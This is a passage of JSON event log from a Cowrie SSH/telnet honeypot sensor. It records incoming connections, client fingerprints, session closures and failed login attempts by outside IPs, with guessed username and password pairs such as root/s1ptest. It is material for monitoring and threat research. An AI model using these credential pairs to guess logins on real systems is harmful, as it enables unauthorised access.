c","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:08.470469Z","src_ip":"194.59.206.2","session":"7d28f7fad9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:08.567613Z","src_ip":"194.59.206.2","session":"7d28f7fad9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":45882,"dst_ip":"159.203.135.109","dst_port":22,"session":"6399df085f00","protocol":"ssh","message":"New connection: 187.16.96.250:45882 (159.203.135.109:22) [session: 6399df085f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:29.644244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:29.648267Z","src_ip":"187.16.96.250","session":"6399df085f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:29.764687Z","src_ip":"187.16.96.250","session":"6399df085f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s1ptest","message":"login attempt [root/s1ptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:30.264373Z","src_ip":"187.16.96.250","session":"6399df085f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:31.384995Z","src_ip":"187.16.96.250","session":"6399df085f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":58928,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4aa95e8a7a","protocol":"telnet","message":"New connection: 69.65.3.189:58928 (10.17.0.5:23) [session: 7d4aa95e8a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:47.750293Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"c420f4d1f303","protocol":"telnet","message":"New connection: 69.65.3.189:59226 (10.17.0.5:23) [session: c420f4d1f303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:49.846851Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":44608,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bdbf298c999","protocol":"ssh","message":"New connection: 209.99.185.195:44608 (10.17.0.5:22) [session: 0bdbf298c999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:52.647593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:52.651843Z","src_ip":"209.99.185.195","session":"0bdbf298c999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:52.766047Z","src_ip":"209.99.185.195","session":"0bdbf298c999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"123456789","message":"login attempt [sftp/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:53.255330Z","src_ip":"209.99.185.195","session":"0bdbf298c999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:22:54.375010Z","src_ip":"209.99.185.195","session":"0bdbf298c999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56684,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81e3208daac","protocol":"ssh","message":"New connection: 80.94.92.184:56684 (10.17.0.5:22) [session: e81e3208daac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:09.488714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:09.515799Z","src_ip":"80.94.92.184","session":"e81e3208daac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:09.732298Z","src_ip":"80.94.92.184","session":"e81e3208daac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:10.431144Z","src_ip":"80.94.92.184","session":"e81e3208daac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:11.720934Z","src_ip":"80.94.92.184","session":"e81e3208daac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.215346097946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:18.965523Z","src_ip":"69.65.3.189","session":"7d4aa95e8a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90128970146179,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:22.748034Z","src_ip":"69.65.3.189","session":"c420f4d1f303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47562,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ce5dfe56e5","protocol":"telnet","message":"New connection: 185.26.126.47:47562 (159.203.135.109:23) [session: 16ce5dfe56e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:35.399582Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":38426,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0683beced6","protocol":"telnet","message":"New connection: 69.65.3.189:38426 (10.17.0.5:23) [session: 2a0683beced6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:23:35.849310Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":47794,"dst_ip":"10.17.0.5","dst_port":22,"session":"02c863058f4d","protocol":"ssh","message":"New connection: 209.99.185.195:47794 (10.17.0.5:22) [session: 02c863058f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:09.591068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:09.596827Z","src_ip":"209.99.185.195","session":"02c863058f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:09.710290Z","src_ip":"209.99.185.195","session":"02c863058f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"south","message":"login attempt [root/south] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:10.181830Z","src_ip":"209.99.185.195","session":"02c863058f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:11.294098Z","src_ip":"209.99.185.195","session":"02c863058f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.300541639328,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:12.149731Z","src_ip":"69.65.3.189","session":"2a0683beced6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"75045a26fcc1","protocol":"telnet","message":"New connection: 69.65.3.189:46162 (10.17.0.5:23) [session: 75045a26fcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:21.350752Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45598,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eeb816666d0","protocol":"telnet","message":"New connection: 185.26.126.47:45598 (159.203.135.109:23) [session: 3eeb816666d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:23.256495Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea18350445e","protocol":"telnet","message":"New connection: 69.65.3.189:46350 (10.17.0.5:23) [session: 3ea18350445e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:23.349260Z"}
{"eventid":"cowrie.session.closed","duration":49.231401681900024,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:24:24.630891Z","src_ip":"185.26.126.47","session":"16ce5dfe56e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.316015005111694,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:00.662399Z","src_ip":"69.65.3.189","session":"75045a26fcc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.71610713005066,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:02.065251Z","src_ip":"69.65.3.189","session":"3ea18350445e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.7489116191864,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:12.005288Z","src_ip":"185.26.126.47","session":"3eeb816666d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.224.64.59","src_port":13288,"dst_ip":"10.17.0.5","dst_port":23,"session":"7be1114270b0","protocol":"telnet","message":"New connection: 169.224.64.59:13288 (10.17.0.5:23) [session: 7be1114270b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:26.082198Z"}
{"eventid":"cowrie.session.closed","duration":12.669546604156494,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:38.751620Z","src_ip":"169.224.64.59","session":"7be1114270b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":59602,"dst_ip":"159.203.135.109","dst_port":22,"session":"46c7d344a183","protocol":"ssh","message":"New connection: 187.16.96.250:59602 (159.203.135.109:22) [session: 46c7d344a183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:41.674161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:41.679093Z","src_ip":"187.16.96.250","session":"46c7d344a183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:41.795850Z","src_ip":"187.16.96.250","session":"46c7d344a183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mumbleserver","password":"mumbleserver","message":"login attempt [mumbleserver/mumbleserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:42.294647Z","src_ip":"187.16.96.250","session":"46c7d344a183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:43.417801Z","src_ip":"187.16.96.250","session":"46c7d344a183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.30.203.91","src_port":56840,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b5d066598a","protocol":"telnet","message":"New connection: 185.30.203.91:56840 (159.203.135.109:23) [session: 87b5d066598a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:25:44.115064Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59362,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff09c5047b7","protocol":"ssh","message":"New connection: 80.94.92.184:59362 (10.17.0.5:22) [session: bff09c5047b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:03.884140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:04.214368Z","src_ip":"80.94.92.184","session":"bff09c5047b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:04.218650Z","src_ip":"80.94.92.184","session":"bff09c5047b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:05.248527Z","src_ip":"80.94.92.184","session":"bff09c5047b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:06.417415Z","src_ip":"80.94.92.184","session":"bff09c5047b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":35686,"dst_ip":"10.17.0.5","dst_port":22,"session":"74002aac73d7","protocol":"ssh","message":"New connection: 209.99.185.195:35686 (10.17.0.5:22) [session: 74002aac73d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:46.436847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:26:46.441473Z","src_ip":"209.99.185.195","session":"74002aac73d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-s